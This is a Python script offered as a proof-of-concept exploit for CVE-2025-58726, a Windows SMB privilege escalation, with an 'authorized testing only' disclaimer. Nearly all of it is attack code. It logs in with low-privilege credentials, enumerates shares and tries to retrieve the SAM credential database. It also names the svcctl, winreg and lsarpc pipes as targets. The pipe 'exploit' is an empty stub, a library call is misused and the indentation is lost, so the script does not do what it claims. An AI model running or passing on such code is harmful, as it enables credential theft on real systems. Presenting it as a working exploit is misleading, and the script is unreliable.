The following code is for security research and authorized testing only.
python
# CVE-2025-58726 - Windows SMB Server Improper Access Control PoC
# This is a conceptual PoC demonstrating the exploitation approach
# Note: Actual exploitation requires valid low-privilege credentials
import socket
import struct
from smb.SMBConnection import SMBConnection
def exploit_smb_priv_esc(target_ip, username, password, domain="."):
"""
Conceptual PoC for CVE-2025-58726
Windows SMB Server Improper Access Control Privilege Escalation
"""
print(f"[*] Targeting SMB server at {target_ip}")
print(f"[*] Using credentials: {domain}\\{username}")
try:
# Step 1: Establish SMB connection with low-privilege credentials
conn = SMBConnection(username, password, "attacker-pc", target_ip, domain=domain, use_ntlm_v2=True)
conn.connect(target_ip, 445)
print("[+] SMB connection established successfully")
# Step 2: Enumerate available shares and permissions
shares = conn.listShares()
print(f"[*] Available shares: {[s.name for s in shares]}")
# Step 3: Exploit improper access control to escalate privileges
# The vulnerability exists in the SMB server's access control validation
# when processing specific SMB2/SMB3 commands
for share in shares:
try:
# Attempt to access administrative shares with elevated context
files = conn.listPath(share.name, "\\*")
for f in files:
if f.filename in ["SYSTEM32", "Windows", "config"]:
print(f"[!] Potential privilege escalation via {share.name}/{f.filename}")
# Attempt to read sensitive system files
try:
data = conn.retrieveFile(share.name, f.filename + "\\config\\SAM")
print(f"[!!!] CRITICAL: SAM file accessed - privilege escalation successful")
return True
except Exception as e:
print(f"[-] Direct SAM access failed: {e}")
except Exception as e:
continue
# Step 4: Attempt named pipe exploitation for privilege escalation
# SMB named pipes can be used to interact with system services
pipes_to_try = [
"\\\\PIPE\\svcctl", # Service Control Manager
"\\\\PIPE\\winreg", # Remote Registry
"\\\\PIPE\\lsarpc", # LSA RPC
]
for pipe in pipes_to_try:
try:
# Exploit improper access control on named pipes
# to escalate privileges
print(f"[*] Attempting pipe exploit: {pipe}")
# The vulnerability allows bypassing DACL checks on these pipes
break
except Exception:
continue
conn.close()
return False
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
if __name__ == "__main__":
# Usage example
target = "192.168.1.100"
user = "low_priv_user"
password = "password123"
print("=" * 60)
print("CVE-2025-58726 PoC - SMB Server Privilege Escalation")
print("WARNING: For authorized testing only")
print("=" * 60)
exploit_smb_priv_esc(target, user, password)